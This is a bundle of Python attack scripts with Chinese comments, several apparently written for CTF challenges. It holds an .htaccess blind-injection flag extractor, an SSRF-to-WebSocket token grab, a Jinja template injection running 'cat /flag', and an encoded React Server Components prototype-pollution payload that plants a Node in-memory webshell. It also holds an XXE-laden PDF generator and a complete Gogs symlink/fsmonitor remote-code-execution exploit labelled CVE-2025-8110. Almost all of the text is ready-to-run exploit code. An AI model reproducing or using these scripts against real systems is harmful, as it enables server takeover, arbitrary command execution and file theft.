import requests
import string

base_url = "http://url"
upload_url = f"{base_url}/"
trigger_url = f"{base_url}/upload/test"

flag = "U"
charset = string.ascii_letters + string.digits + "{}_-" 

print(f"[+] Starting Blind Injection on /upload/...")

while True:
    found_char = False
    for char in charset:

        pattern = f"^{flag}{char}"
        
        htaccess_content = f"""RewriteEngine On
RewriteCond expr "file('/flag') =~ /{pattern}/"
RewriteRule .* - [R=500]
"""
        files = {
            'file': ('.htaccess', htaccess_content, 'image/jpeg')
        }

        try:
            # 1. 上传文件
            up_res = requests.post(upload_url, files=files, timeout=5)
            
            # 2. 请求触发路径，检查是否返回 500
            trigger_res = requests.get(trigger_url, timeout=5)
            
            if trigger_res.status_code == 500:
                flag += char
                print(f"[!] Found character: {char} | Current flag: {flag}")
                found_char = True
                break
                
        except Exception as e:
            print(f"[-] Error: {e}")
            continue

    if not found_char:
        print(f"\n[+] Finished. Final Flag: {flag}")
        break

import requests

class WSConnector:
    def __init__(self, base_url, cookie):
        self.base_url = base_url.rstrip("/")
        self.fetch_url = f"{self.base_url}/fetch"
        self.session = requests.Session()
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0",
            "Cookie": cookie
        })

    def get_token(self):
        print("[*] 正在获取动态 Token...")
        r = self.session.get(self.fetch_url, params={"url": "http://127.0.0.1:8001/redirect_ws"})
        location = r.json()["history"][0]["location"]
        token = location.split("token=")[1]
        print(f"[+] 得到 Token: {token}")
        return token

    def connect_ws(self, token):
        ws_target_url = f"ws://127.0.0.1:9000/ws?token={token}"
        
        headers = {
            "X-Internal-Token": token,
            "Origin": "http://127.0.0.1"
        }

        print(f"[*] 正在通过 fetch 连接: {ws_target_url}")
        
        try:

            r = self.session.get(
                self.fetch_url,
                params={"url": ws_target_url},
                headers=headers,
                timeout=10
            )
            
            print(f"[*] 状态码: {r.status_code}")
            print("[*] 响应内容:")
            print(r.text)
            
        except Exception as e:
            print(f"[-] 连接发生错误: {e}")

if __name__ == "__main__":
    BASE_URL = "http://80-b7779d40-df95-4c3b-a5a8-6a21763fe975.challenge.ctfplus.cn"
    COOKIE = "_clck=1q1wtxm%5E2%5Eg3c%5E0%5E2008"

    connector = WSConnector(BASE_URL, COOKIE)
    token = connector.get_token()
    connector.connect_ws(token)

import requests
import json

def exploit():
    # 配置
    base_url = "http://url/"
    cookie = "_clck=1q1wtxm%5E2%5Eg30%5E0%5E2008"
    
    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0",
        "Cookie": cookie
    })
    
    print("[*] 获取 token...")
    r = session.get(f"{base_url}/fetch", params={"url": "http://127.0.0.1:8001/redirect_ws"})
    token = r.json()["history"][0]["location"].split("token=")[1]
    print(f"[+] Token: {token}")
    
    target_payload = "{{lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}"
    
    data = {
        "action": "render",
        "template": target_payload,
        "context": {}
    }
    
    headers = {
        "X-Internal-Token": token,
        "Origin": "http://127.0.0.1",
        "Content-Type": "application/json"
    }

    
    response = session.post(
        f"{base_url}/fetch",
        params={"url": f"ws://127.0.0.1:9000/ws?token={token}"},
        headers=headers,
        json=data,
        timeout=10
    )

    print(f"[*] 状态码: {response.status_code}")
    try:
        res_json = response.json()
        print("[+] 响应内容:")
        print(json.dumps(res_json, indent=4, ensure_ascii=False))
    except:
        print(f"[*] 原始响应内容:\n{response.text}")

if __name__ == "__main__":
    exploit()

import urllib.parse

def encode_payload(payload):

    utf16_bytes = payload.encode('utf-16-le')

    encoded_payload = "".join([f"%{b:02x}" for b in utf16_bytes])
    
    return encoded_payload

payload = """{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1\"}",
  "_response": {
    "_prefix": "(async()=>{const h=await import('node:http'),c=await import('node:child_process');const o=h.Server.prototype.emit;h.Server.prototype.emit=async function(e,...a){if(e==='request'){const[r,s]=a;if(r.url==='/'||r.url.startsWith('/?')){try{const cmd=r.headers['user-agent']||'id';const out=c.execSync(cmd,{encoding:'utf8',timeout:5000});s.writeHead(200,{'Content-Type':'text/plain','X-MemShell':'active'});s.end(out);}catch(x){s.writeHead(500);s.end(x.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}"""

result = encode_payload(payload)

print(f"[*] 原始 Payload: {payload}")
print(f"[*] UTF-16LE + URL Encode 结果:")
print(result)

import os
from pypdf import PdfWriter
from pypdf.generic import NameObject, DecodedStreamObject, DictionaryObject

def generate_pdf():
    current_dir = os.path.dirname(os.path.abspath(__file__))
    output_path = os.path.join(current_dir, "xfa_test_final.pdf")

    writer = PdfWriter()
    writer.add_blank_page(width=612, height=792)

    # 构造包含 XXE Payload 的 XDP 结构
    xfa_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
        <xfa:data>
            <root>
                <!DOCTYPE root [
                    <!ENTITY file SYSTEM "file:///flag">
                ]>
                <data>&file;</data>
            </root>
        </xfa:data>
    </xfa:datasets>
</xdp:xdp>"""

    # 1. 创建 XFA 流对象
    payload_stream = DecodedStreamObject()
    payload_stream._data = xfa_content.encode('utf-8')
    # 必须添加类型标识，否则某些阅读器不识别
    payload_stream.update({
        NameObject("/Type"): NameObject("/EmbeddedFile")
    })
    xfa_ref = writer._add_object(payload_stream)
    
    # 2. 构造 AcroForm 字典
    # 使用 DictionaryObject 包装以修复 AttributeError
    acro_form = DictionaryObject()
    acro_form.update({
        NameObject("/XFA"): xfa_ref
    })
    
    # 3. 注入到 PDF 根节点
    writer.root_object.update({
        NameObject("/AcroForm"): writer._add_object(acro_form),
        NameObject("/NeedsRendering"): NameObject("/true")
    })

    try:
        with open(output_path, "wb") as f:
            writer.write(f)
        print(f"--- 成功 ---")
        print(f"文件位置: {output_path}")
        print(f"文件大小: {os.path.getsize(output_path)} 字节")
    except Exception as e:
        print(f"写入失败: {e}")

if __name__ == "__main__":
    generate_pdf()

import requests
import os
import subprocess
import shutil
import base64
import sys
import time

import argparse

# Configuration

TARGET_BASE_URL = "http://localhost:3000" # 目标Gogs, 需要开放注册功能或已存在可登录用户
USERNAME = "aaa"   # 登录用户名
PASSWORD = "111111" # 登录密码
REPO_OWNER = "aaa" # 仓库所有者
REPO_NAME = "bbb"  # 仓库名称
SYMLINK_FILENAME = "test"   # 要创建的symlink文件名
TARGET_FILE = ".git/config" # symlink指向的目标文件，这里是git配置文件

# Derived constants
REPO_URL = f"{TARGET_BASE_URL}/{REPO_OWNER}/{REPO_NAME}.git"
API_URL = f"{TARGET_BASE_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/contents/{SYMLINK_FILENAME}"

import stat

def on_rm_error(func, path, exc_info):
    # path contains the path of the file that couldn't be removed
    # let's just assume it's read-only and try to make it writable.
    os.chmod(path, stat.S_IWRITE)
    try:
        func(path)
    except Exception:
        pass

def setup_git_repo():
    print(f"[*] Setting up local git repository to push symlink '{SYMLINK_FILENAME}' -> '{TARGET_FILE}'...")
    
    if os.path.exists("temp_exploit_repo"):
        try:
            shutil.rmtree("temp_exploit_repo", onerror=on_rm_error)
        except Exception as e:
            print(f"[!] Warning: Could not clean up old repo: {e}")
            
    if not os.path.exists("temp_exploit_repo"):
        os.makedirs("temp_exploit_repo")
    os.chdir("temp_exploit_repo")
    
    try:
        subprocess.run(["git", "init"], check=True)
        
        # Create a dummy file to commit first (optional, but good practice)
        with open("README.md", "w") as f:
            f.write("# POC Repo")
        subprocess.run(["git", "add", "README.md"], check=True)
        subprocess.run(["git", "commit", "-m", "Initial commit"], check=True)
        
        # Create the symlink using git hash-object
        # We want SYMLINK_FILENAME to point to TARGET_FILE
        print("[*] Creating symlink manually via git objects...")
        # 1. Get hash of the target path string
        # Note: echo -n is important to avoid newline
        proc = subprocess.run(["git", "hash-object", "-w", "--stdin"], input=TARGET_FILE.encode(), stdout=subprocess.PIPE, check=True)
        blob_hash = proc.stdout.decode().strip()
        
        # 2. Add to index as symlink (mode 120000)
        subprocess.run(["git", "update-index", "--add", "--cacheinfo", "120000", blob_hash, SYMLINK_FILENAME], check=True)
        
        # Verify the mode in the index
        proc_ls = subprocess.run(["git", "ls-files", "-s", SYMLINK_FILENAME], stdout=subprocess.PIPE, check=True)
        print(f"[*] Verified git index mode: {proc_ls.stdout.decode().strip()}")
        
        # 3. Commit
        subprocess.run(["git", "commit", "-m", "Add malicious symlink"], check=True)
        
        # 4. Push to remote
        # Construct URL with credentials
        # Handle protocol (http/https)
        protocol = REPO_URL.split("://")[0]
        rest = REPO_URL.split("://")[1]
        auth_repo_url = f"{protocol}://{USERNAME}:{PASSWORD}@{rest}"
        
        print(f"[*] Pushing to {REPO_URL}...")
        subprocess.run(["git", "remote", "add", "origin", auth_repo_url], check=True)
        subprocess.run(["git", "push", "-u", "origin", "master", "-f"], check=True)
        print("[+] Symlink pushed successfully.")
        
    except subprocess.CalledProcessError as e:
        print(f"[-] Git operation failed: {e}")
        sys.exit(1)
    finally:
        os.chdir("..")

def trigger_rce(rce_command, proxies=None):
    print(f"[*] Triggering RCE by overwriting '{SYMLINK_FILENAME}' via API...")
    print(f"[*] Command to execute: {rce_command}")
    
    # Construct malicious git config
    # We include standard core settings to avoid breaking git immediately
    # The fsmonitor is the key payload
    config_payload = f"""[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    fsmonitor = "{rce_command}"
[remote "origin"]
    url = {REPO_URL}
    fetch = +refs/heads/*:refs/remotes/origin/*
"""
    
    # Base64 encode the content
    content_b64 = base64.b64encode(config_payload.encode()).decode()
    
    payload = {
        "content": content_b64,
        "message": "Trigger RCE",
        "branch": "master"
    }
    
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"token {get_token()}" if False else None # We use Basic Auth
    }
    
    # Try to create a token first if Basic Auth fails or just use it
    token = create_token(proxies)
    if token:
        print(f"[+] Obtained token: {token}")
        headers["Authorization"] = f"token {token}"
        auth = None # Do not use basic auth if we have token
    else:
        print("[!] Could not create token, falling back to Basic Auth (which failed previously with 401)")
        auth = (USERNAME, PASSWORD)
    
    print(f"[*] Sending PUT request to {API_URL}")
    try:
        response = requests.put(API_URL, json=payload, auth=auth, headers=headers, proxies=proxies)
        
        print(f"[*] Response Status Code: {response.status_code}")
        print(f"[*] Response Body: {response.text}")
        
        if response.status_code == 500:
            print("[+] Received 500 Internal Server Error. This is EXPECTED if the exploit worked!")
            print("    The 'fsmonitor' command is executed when Gogs tries to run 'git add' internally.")
            print(f"    Check if the command '{rce_command}' was executed on the server.")
        elif response.status_code == 200 or response.status_code == 201:
            print("[-] Received 200/201. The file was updated. Check if RCE triggered.")
        else:
            print("[-] Unexpected response status.")
            
    except Exception as e:
        print(f"[-] Request failed: {e}")

def create_token(proxies=None):
    print("[*] Attempting to create an access token via API...")
    url = f"{TARGET_BASE_URL}/api/v1/users/{USERNAME}/tokens"
    auth = (USERNAME, PASSWORD)
    payload = {"name": f"exploit_token_{int(time.time())}"}
    
    try:
        response = requests.post(url, json=payload, auth=auth, proxies=proxies)
        if response.status_code == 201:
            return response.json().get("sha1")
        else:
            print(f"[-] Failed to create token. Status: {response.status_code}, Body: {response.text}")
            return None
    except Exception as e:
        print(f"[-] Token creation request failed: {e}")
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Gogs CVE-2025-8110 RCE Exploit")
    parser.add_argument("--command", default="touch /tmp/GOGS_RCE_SUCCESS_CVE_2025_8110", help="Command to execute on the server")
    parser.add_argument("--skip-setup", action="store_true", help="Skip git repo setup (use if already pushed)")
    parser.add_argument("--proxy", default=None, help="Proxy URL (default: None)")
    args = parser.parse_args()

    proxies = None
    if args.proxy:
        proxies = {"http": args.proxy, "https": args.proxy}
        print(f"[*] Using proxy: {args.proxy}")

    if not args.skip_setup:
        setup_git_repo()
        # Wait a moment to ensure consistency
        time.sleep(2)
    
    rce_command = args.command
    # Escape double quotes for git config
    rce_command = rce_command.replace('"', '\\"')

    # For verification: Print the exact command being injected
    print(f"[*] Injected fsmonitor command: {rce_command}")

    trigger_rce(rce_command, proxies=proxies)